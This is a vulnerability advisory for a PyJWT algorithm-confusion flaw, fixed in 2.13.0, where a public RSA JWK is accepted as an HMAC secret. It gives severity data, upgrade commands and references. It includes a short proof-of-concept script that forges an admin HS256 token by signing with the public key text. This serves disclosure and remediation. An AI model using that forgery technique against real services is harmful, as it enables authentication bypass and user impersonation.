GHSA-xgmm-8j9v-c9wx CVE-2026-48526 PYSEC-2026-179
PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed
- Severity
- 7.4 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.43%
- Chance of exploitation in the next 30 days. Higher than 36.98% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Fix
2.13.0- Upgrade pyjwt to this version or later
Description
[!NOTE] Exploitation requires a verifier configured with both symmetric and asymmetric algorithms in
algorithms=[…]and a raw-JSON JWK as thekey=argument, both contrary to documented usage, hence the High attack-complexity rating.
Summary
When the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm.
Details
In JWT algorithm confusion attack, the verifier is mistakenly use of public key to be used as the shared secret in symmetric algorithms. In pyjwt case, when the verifier is supporting both HMAC with other asymmetric algorithm and mistakenly using the public key of the issuer to verify the token as demonstrated in the following example:
jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
An attacker who specifies in the token header to use HMAC, will cause the verifier to accept the JWK as the secret key in HMAC algorithm. The attacker will be able to forge JWT signed with the public key of the issuer to impersonate any user.
If we look on current protections implemented in the library, at class HMACAlgorithm:
def prepare_key(self, key: str | bytes) -> bytes:
key_bytes = force_bytes(key)
if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
raise InvalidKeyError(
"The specified key is an asymmetric key or x509 certificate and"
" should not be used as an HMAC secret."
)
return key_bytes
We can observe that there is a protection against this type of attacks but only when the verifier is using PEM format or SSH key to verify the token. JSON Web Keys, on the other hand will pass the validation.
In The following example:
jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
There is indeed a wrong implementation of the verifier, but a stronger protection in the library side will prevent and protect against those type of misconfiugrations.
The bypass happens only if the verifier: (a) allows HS* and an asymmetric algorithm in the same call and (b) passes a public-key value as key.
PoC
Please run the code and observe the payload printed in clear text({"sub":"alice","admin":true}')
from jwt.api_jws import PyJWS
import json, base64, hmac, hashlib
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=")
# Public RSA JWK (public by design)
rsa_jwk_json = json.dumps({"kty":"RSA","n":"AQAB","e":"AQAB"})
# Attacker-crafted token: flip to HS256 and choose claims
header = b64u(b'{"alg":"HS256","typ":"JWT"}')
payload = b64u(b'{"sub":"alice","admin":true}')
signing = header + b"." + payload
# Sign with HMAC using the PUBLIC JWK JSON TEXT as the “secret”
sig = hmac.new(rsa_jwk_json.encode(), signing, hashlib.sha256).digest()
token = (signing + b"." + b64u(sig)).decode()
# Vulnerable verifier: mixed families + JWK JSON string as key
jws = PyJWS()
print(jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
# -> b'{"sub":"alice","admin":true}'
Impact
Unauthenticated token forgery → full identity/role impersonation at the resource server (authorization bypass).
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| pyjwt | < 2.13.0 |
2.13.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
pyjwt PyPI → 2.13.0
- pip
pip install --upgrade "pyjwt>=2.13.0"- poetry
poetry add "pyjwt>=2.13.0"- uv
uv add "pyjwt>=2.13.0"
Severity breakdown
CVSS 3.1 7.4
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
- Attack vector
- Network
- Attack complexity
- High
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Weakness
CWE-287: Improper Authentication
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.
How to prevent it
- Architecture and Design: Use an authentication framework or library such as the OWASP ESAPI Authentication feature.
CWE-347: Improper Verification of Cryptographic Signature
The product does not verify, or incorrectly verifies, the cryptographic signature for data.
References
Advisories
Packages
Other links
- github.com/jpadilla/pyjwt/security/advisories/GHSA-xgmm-8j9v-c9wx
- github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-179.yaml
- access.redhat.com/errata/RHSA-2026:25902
- access.redhat.com/errata/RHSA-2026:25928
- access.redhat.com/errata/RHSA-2026:26206
- access.redhat.com/errata/RHSA-2026:28571
- access.redhat.com/errata/RHSA-2026:30076
- access.redhat.com/errata/RHSA-2026:30088
- access.redhat.com/errata/RHSA-2026:30089
- access.redhat.com/errata/RHSA-2026:33683
- access.redhat.com/errata/RHSA-2026:34160
- access.redhat.com/errata/RHSA-2026:34365
- access.redhat.com/errata/RHSA-2026:34374
- access.redhat.com/errata/RHSA-2026:35835
- access.redhat.com/errata/RHSA-2026:35836
- access.redhat.com/errata/RHSA-2026:35837
- access.redhat.com/errata/RHSA-2026:35845
- access.redhat.com/errata/RHSA-2026:36350
- access.redhat.com/errata/RHSA-2026:37275
- access.redhat.com/errata/RHSA-2026:40967
- access.redhat.com/errata/RHSA-2026:41066
- access.redhat.com/errata/RHSA-2026:42132
- access.redhat.com/errata/RHSA-2026:42142
- access.redhat.com/errata/RHSA-2026:42144
- access.redhat.com/errata/RHSA-2026:42644
- access.redhat.com/errata/RHSA-2026:42796
- access.redhat.com/errata/RHSA-2026:43038
- access.redhat.com/errata/RHSA-2026:48085
- access.redhat.com/errata/RHSA-2026:50222
- access.redhat.com/errata/RHSA-2026:50223
- access.redhat.com/errata/RHSA-2026:50263
- access.redhat.com/errata/RHSA-2026:50319
- access.redhat.com/errata/RHSA-2026:50336
- access.redhat.com/errata/RHSA-2026:50340
- access.redhat.com/errata/RHSA-2026:50904
- access.redhat.com/errata/RHSA-2026:60520
- access.redhat.com/security/cve/CVE-2026-48526
- bugzilla.redhat.com/show_bug.cgi
- security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48526.json
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-pxh4-856f-4h89 PyJWT: HS256/384/512 verify accepts empty HMAC key via oct JWK (PyJWK/PyJWKClient) enabling token forgery | High | Also affects pyjwt |
| GHSA-gvp8-978c-rx2q PyJWT.decode() reintroduces options-dict mutation, enabling silent claim-verification bypass on dict reuse | Medium | Also affects pyjwt |
| GHSA-x33g-cr3x-6449 PyJWT accepts inconsistent OKP x/d JWKs, causing public/private key identity confusion | High | Also affects pyjwt |
| GHSA-w6j9-cwv2-h6wq PyJWT: Malformed RSA JWK aborts parsing of an entire JWK Set | High | Also affects pyjwt |
| GHSA-w2cx-738m-mc7w PyJWT accepts public JWK containers as HMAC secrets | High | Also affects pyjwt |
| GHSA-r6x4-923q-g947 PyJWT BOM Bypass | High | Also affects pyjwt |
| GHSA-p4g4-x82p-q773 PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard | High | Also affects pyjwt |
| GHSA-jwrc-g2q2-pq5p PyJWT: ReDoS vulnerability when calling the `is_pem_format` function. | Medium | Also affects pyjwt |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor